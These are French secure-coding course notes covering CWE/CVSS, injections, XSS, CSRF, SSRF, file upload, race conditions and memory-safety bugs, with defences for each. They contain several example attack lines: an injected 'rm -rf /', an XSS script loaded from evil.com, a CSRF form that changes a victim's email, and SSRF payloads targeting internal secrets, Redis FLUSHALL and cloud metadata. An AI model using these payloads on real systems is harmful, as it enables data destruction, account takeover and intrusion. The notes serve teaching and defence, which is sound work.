

## CWE, CVE, CVSS

**CWE:** Catalogue faiblesses logicielles, taxonomie vulnérabilités

**CVE:** Base données vulnérabilités connues

**CVSS:** Notation gravité vulnérabilités

**Dimensions:** AV (Network/Adjacent/Local/Physical), AC (Low/High), PR (None/Low/High), UI (None/Passive/Active), CIA (Confidentiality/Integrity/Availability)

## Injections

**Principe:** Code malveillant dans entrée traité comme code légitime

**OS Command (CWE-78):** Données non validées dans commande système. Ex: dig heig-vd.ch; rm -rf / → exécution arbitraire

**SQL (CWE-89):** Code SQL malveillant → accès/modification données

**Code (CWE-94):** Injection tout langage → exécution arbitraire

**Défenses:** Validation stricte, APIs sécurisées, requêtes préparées, échappement

## Vulnérabilités générales

**Null Pointer (CWE-476):** Accès pointeur nul → Crash/RCE. Défense: Gestion explicite, smart pointers

**Unsafe Deserialization (CWE-502):** Données non fiables → RCE. Défense: Signer, formats sûrs

**Integer Overflow (CWE-190):** Dépasse capacité → Bypass, overflow. Défense: checked\_add

**Hardcoded Credentials (CWE-798):** Secrets en dur → accès compromis. Défense: Env vars, vaults

**Incorrect Authorization (CWE-863):** Données client modifiables → escalade. Défense: Vérif serveur

**Path Traversal (CWE-22):** ../../tmp/ws.php → accès hors répertoire. Défense: Whitelist

## Attaques Web

### Cross-Site Scripting (XSS) (CWE-79)

**Principe :** Injection de JavaScript malveillant dans le contexte d'un site victime. Abuse de la confiance du client envers le service.

#### Reflected XSS

- Lien piégé, service reflète données sans échappement
- Exemple : ?q=<script src="https://evil.com/hook.js"></script>

#### Stored XSS

- Code injecté en base de données
- Chaque utilisateur consultant les données exécute le code

#### DOM-Based XSS

- Attaque côté client uniquement
- JavaScript manipule DOM avec données non échappées

#### Défenses XSS

- Échappement adapté au contexte (HTML, JS, URL, CSS)
- Validation d'entrée
- Content Security Policy (CSP)
- Web Application Firewall (WAF)

### Cross-Site Request Forgery (CSRF) (CWE-352)

**Principe :** Tromper utilisateur authentifié pour effectuer action en son nom. Abuse de la confiance du service envers le client.

```
<form action="https://victim.com/update-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
```

#### Défenses CSRF

- Protection XSS (prérequis)
- Tokens CSRF (aléatoire, vérifié côté serveur)
- Vérification Origin/Referer
- Cookies : SameSite=Strict, Secure
- Sémantique HTTP : GET sans effets de bord

### Unrestricted File Upload (CWE-434)

**Problème :** Upload sans restrictions d'extension

**Impact :** WebShell, RCE via malicious.php exécuté

#### Défenses

- Valider extension et type MIME

- Séparer code et contenu (domaine différent)
- Renommer fichiers
- Répertoire sans exécution

### Server-Side Request Forgery (SSRF) (CWE-918)

**Principe :** Forcer serveur à requêter service non autorisé

```
$url = $_GET['filename'];
$image = fopen($url, 'rb'); // Attaquant: ?filename=https://backend.internal/secrets
```

#### Variantes dangereuses

- Protocoles : gopher://, dict:// pour commandes brutes
- Cross-protocol : gopher://redis:6379/\_FLUSHALL
- Métadonnées EC2 : 169.254.169.254

#### Défenses SSRF

- Whitelist d'URLs autorisées, restreindre schémas
- Filtrage réseau, proxy filtrant
- Architecture Zero Trust

## Concurrence

### Race Condition (CWE-362)

- Exploiter fenêtre de temps entre opérations non atomiques
- Exemple : modifier fichier entre création et chmod
- Défense : Opérations atomiques, file locks

### Time-of-Check to Time-of-Use (TOCTTOU) (CWE-367)

- Fichier/état change entre vérification et utilisation
- Exemple : if (file\_exists()) ... exec() avec symlink créé entre les deux
- Défense : Opérations atomiques, éviter symlinks

## Vulnérabilités Mémoire

### Out-of-Bounds Write (CWE-787) - Buffer Overflow

- Écrire au-delà des limites d'un buffer
- Impact : Écrasement return address → RCE
- Défenses : Stack non exécutables (NX), ASLR, fonctions sûres (strncpy)

### Out-of-Bounds Read (CWE-125) - Information Leak

- Lire au-delà des limites
- Impact : Fuite de données sensibles (clés, tokens)
- Exemple : **Heartbleed** (CVE-2014-0160) - fuite clés privées OpenSSL

- Défense : Vérifier tailles, bounds checking

### Use-after-free (CWE-416)

- Accéder à mémoire après free()
- Exploitation : Allouer même zone avec contenu contrôlé
- Défenses : Garbage collection, smart pointers, mettre à NULL après free

### Use of Format String (CWE-134)

- Données utilisateur comme format string
- Exemple : fprintf(log, command) où command = "%x %x %x"
- Exploitation : Lecture stack avec %123\$x, écriture avec %
- Défense : **JAMAIS** user input comme format → printf("%s", user\_input)

## Validation des Entrées

### Erreurs courantes liées aux entrées

- Buffer overflow (taille)
- XSS (contenu + codage sortie)
- File upload of dangerous type
- Path traversal (chemins)
- SQL Injection (métacaractères)

## Fondamentaux

### Cohérence de la validation

- Validation côté client ET serveur doit être alignée
- Factoriser logique pour éviter divergences
- Utiliser bibliothèques partagées

### Quand valider ?

- Dès que possible
- Risques validation tardive : contenu dangereux en logs/stockage, side channels

### Nettoyer les entrées : DANGEREUX

- Nettoyer correctement est difficile/ impossible
- Chemins peu testés
- **Préférer rejeter** plutôt que nettoyer
- Tests cruciaux avec cas négatifs (entrées invalides) pour vérifier rejet approprié.

### Niveaux de validation

1. **Syntaxique** : chaîne appartient à un langage
2. **Sémantique** : sens cohérent dans contexte
3. **Pragmatique** : véracité d'une proposition

### Exemple adresse mail

- Syntaxique : nom@domaine.tld valide (utiliser libs)
- Sémantique : domaine existe, MX existe
- Pragmatique : utilisateur peut recevoir et communiquer secret

## Validation Pragmatique

**Principe :** Mécanismes externes (e-mail confirmation, SMS, services tiers)

### Secrets générés

- Suffisamment longs (résistance force brute)
- Suffisamment aléatoires (éviter prédictions)
- Usage unique (éviter rejet)
- Limités dans le temps (réduire fenêtre attaque)

## Validation Syntaxique

### Allow vs Deny Lists

- **Allow lists** : spécifient entrées acceptables (recommandé)
- **Deny lists** : énumèrent entrées interdites (incomplet)

### Mesures générales

- S'appuyer sur les types
- Canonicaliser valeurs avant filtrer
- Toujours vérifier tailles et intervalles
- Utiliser bibliothèques : Commons Validator (Java), Pydantic (Python), validator.js (JS)

### Expressions régulières

Exemple Rust :

```
use regex::Regex;
let re = Regex::new(r"^\d{2}-\d{2}-\d{4}$")
    .expect("re compile error");
assert!(re.is_match("01-01-2024"));

// Précompilation
use std::sync::LazyLock;
static MY_REGEX: LazyLock<Regex> = LazyLock::new(|| {
    Regex::new(r"^\d{2}-\d{2}-\d{4}$")
        .expect("re compile error")
});
```

## Encodage des Sorties

**Principe :** Entrée validée doit être encodée selon contexte d'utilisation (HTML, SQL, etc.)

### Adressage indirect

- Identifiants opaques pour communication externe
- Réassociation côté serveur
- Principe REST : URLs comme identifiants opaques

### Identifiants uniques

Choisir 2 sur 3 :

- **Globalement uniques + Sécurisés = Clés publiques**
- **Globalement uniques + Conviviaux = Noms de domaine**
- **Sécurisés + Conviviaux = Keyring**